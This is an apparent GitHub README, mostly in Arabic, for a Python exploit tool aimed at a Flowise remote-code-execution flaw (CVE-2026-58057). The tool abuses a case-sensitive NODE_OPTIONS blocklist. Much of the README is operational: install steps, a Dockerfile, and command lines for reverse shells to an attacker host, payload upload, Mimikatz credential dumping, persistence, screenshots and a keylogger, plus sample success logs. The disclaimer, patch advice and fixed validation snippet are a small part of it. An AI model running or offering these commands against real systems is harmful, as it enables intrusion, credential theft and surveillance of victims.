
Flowise Windows RCE exploit for CVE-2026-58057. Bypasses environment variable validation via case-sensitive flaw. Uses node_options to inject arbitrary code through MCP stdio. Supports reverse shell, persistence, file upload, credential dumping. For authorized security testing only. Flowise أداة استغلال لثغرة RCE على ويندوز (CVE-2026-58057). تتجاوز التحقق من متغيرات البيئة من خلال ثغرة في حساسية حالة الأحرف. تستخدم node_options لحقن كود عشوائي عبر MCP stdio. تدعم الصدفة العكسية، الثبات، رفع الملفات، تفريغ بيانات الاعتماد. للاستخدام في اختبارات الأمان المصرح بها فقط.
هذا استغلال إنتاجي للثغرة CVE-2026-58057، وهي ثغرة حرجة لتنفيذ الأوامر عن بُعد في Flowise على منصات ويندوز. تنشأ الثغرة من التحقق الحساس لحالة الأحرف في متغيرات البيئة، والذي يفشل في حظر node_options بحروف صغيرة، مما يسمح للمهاجمين بتجاوز القائمة السوداء لـ NODE_OPTIONS وتنفيذ كود عشوائي من خلال تكوين MCP stdio المخصص.
يظهر الاستغلال ممارسات هندسة برمجية احترافية بهندسة معيارية، ومعالجة شاملة للأخطاء، ودعم لأنواع متعددة من الحمولات.
هام: هذه الأداة مخصصة لاختبار الاختراق المأذون به، واختبارات الاختراق، والأغراض التعليمية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. احصل دائمًا على التصريح المناسب قبل اختبار أي نظام.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
يقوم المهاجم بمصادقة Flowise
يقوم بإنشاء/تعديل عقدة MCP stdio مخصصة
يحقن متغير بيئة node_options بحروف صغيرة
يضع القيمة على --require malicious-loader.js
يقوم Node.js بتنفيذ المحمّل عند تشغيل MCP stdio
يتم تحقيق تنفيذ كود عشوائي
✅ Shell عكسي - اتصال عكسي بجهاز المهاجم
✅ Shell مقيد - فتح منفذ استماع على الهدف
✅ تنفيذ أوامر - تشغيل أوامر نظام عشوائية
✅ رفع ملفات - رفع ملفات إلى النظام الهدف
✅ ثباتية - آليات ثباتية متعددة
✅ جمع معلومات - جمع معلومات استخباراتية عن النظام
✅ تفريغ بيانات الاعتماد - تكامل مع Mimikatz
✅ التقاط لقطة شاشة - التقاط لقطات شاشة لسطح المكتب
✅ تسجيل المفاتيح - تثبيت قدرة تسجيل المفاتيح
🔐 طرق مصادقة متعددة - مفتاح API أو اسم مستخدم/كلمة مرور
🔄 منطق إعادة المحاولة التلقائي - مقاوم للمشكلات الشبكية
🧹 التنظيف الذاتي - إزالة ملفات المحمّل من الهدف
🌐 متعدد المنصات - يعمل على ويندوز/لينكس/macOS
🎨 إخراج ملون - تحسين قابلية القراءة
📊 تصحيح مطوّل - تسجيل مفصل لاستكشاف الأخطاء
Python 3.6 أو أعلى
pip (مدير حزم بايثون)
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| الخيار | الوصف | مثال |
|---|---|---|
-t, --target | رابط Flowise (مطلوب) | http://localhost:3000 |
-k, --api-key | مفتاح API Flowise | flowise_abc123... |
-u, --username | اسم المستخدم | admin |
-p, --password | كلمة المرور | password123 |
| الخيار | الوصف | مثال |
|---|---|---|
--payload | نوع الحمولة | reverse_shell |
--lhost | عنوان المستقبل | 192.168.1.100 |
--lport | منفذ المستقبل | 4444 |
--command | الأمر المراد تنفيذه | whoami |
--local-file | الملف المراد رفعه | payload.exe |
--remote-path | المسار البعيد للحفظ | C:\\Temp\\update.exe |
| الخيار | الوصف |
|---|---|
--interactive | بدء شل تفاعلي |
--verbose | تمكين الإخراج التفصيلي |
--timeout | مهلة الطلب بالثواني |
--retries | عدد محاولات إعادة المحاولة |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
| الحمولة | الوصف | الوسائط |
|---|---|---|
reverse_shell | اتصال عكسي بالمستقبل | --lhost, --lport |
bind_shell | فتح منفذ استماع | --lport |
command_exec | تنفيذ أمر | --command |
file_upload | رفع ملف إلى الهدف | --local-file, --remote-path |
persistence | تثبيت الثباتية | لا يوجد |
info_gather | جمع معلومات النظام | لا يوجد |
mimikatz | تفريغ بيانات الاعتماد | لا يوجد |
screenshot | التقاط لقطة شاشة | لا يوجد |
keylogger | تثبيت مسجل المفاتيح | لا يوجد |
# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest
تقييد الوصول إلى تكوين MCP المخصص
تطبيق التقسيم الشبكي
مراقبة متغيرات البيئة المشبوهة
استخدام جدار حماية تطبيقات الويب (WAF)
# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous: # Case-insensitive check
raise ValueError(f"Modification not allowed")
[14:32:15] ℹ بدء تسلسل الاستغلال...
[14:32:15] ℹ محاولة المصادقة...
[14:32:16] ✓ تمت المصادقة باستخدام مفتاح API
[14:32:16] ℹ تحضير تنفيذ حمولة reverse_shell...
[14:32:16] ℹ حقن متغير البيئة...
[14:32:17] ℹ تشغيل الحمولة...
[14:32:19] ✓ تم تنفيذ الحمولة 'reverse_shell' بنجاح!
[14:32:19] ℹ مستقبل الشل العكسي جاهز على 192.168.1.50:4444
[14:32:15] 🔍 تم إنشاء جلسة باستراتيجية إعادة المحاولة
[14:32:15] 🔍 استخدام مساحة العمل الحالية: ws_123456
[14:32:16] 🔍 تم كتابة المحمّل: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 تم تحديث تكوين MCP stdio
| المشكلة | الحل |
|---|---|
| خطأ شهادة SSL | pip install --trusted-host pypi.org -r requirements.txt |
| رفض الإذن | pip install --user -r requirements.txt |
| رفض الاتصال | تحقق من رابط الهدف والاتصال الشبكي |
| فشل المصادقة | تحقق من مفتاح API أو اسم المستخدم/كلمة المرور |
| فشل الحمولة | استخدم --verbose لتصحيح الأخطاء المفصل |
| إصدار Python | تأكد من تثبيت Python 3.6+ |
# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose
# Test connectivity
curl -k https://localhost:3000/api/v1/version
# Check Python version
python3 --version
flowise-CVE-2026-58057-exploit/
├── exploit.py # البرنامج النصي الرئيسي للاستغلال
├── requirements.txt # التبعيات الأساسية
├── README.md # هذا التوثيق
├── LICENSE # رخصة MIT
└── CHANGELOG.md # سجل الإصدارات
انسخ المستودع (Fork)
أنشئ فرع الميزة (git checkout -b feature/amazing)
أضف التغييرات (git commit -m 'إضافة ميزة رائعة')
ادفع إلى الفرع (git push origin feature/amazing)
افتح طلب سحب (Pull Request)
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.
FlowiseAI للمنتج
باحثو الأمن الذين اكتشفوا ثغرات مشابهة
مجتمع اختبار الاختراق لمنهجيات الاختبار
المؤلف: Sudeepa Wanigarathna باحث أمني ومختبر اختراق
إذا وجدت هذه الأداة مفيدة، يُرجى:
⭐ وضع نجمة على المستودع في GitHub
🔔 متابعة التحديثات
📝 الإبلاغ عن مشكلات أو اقتراحات
صنع بـ ❤️ لمجتمع الأمن السيبراني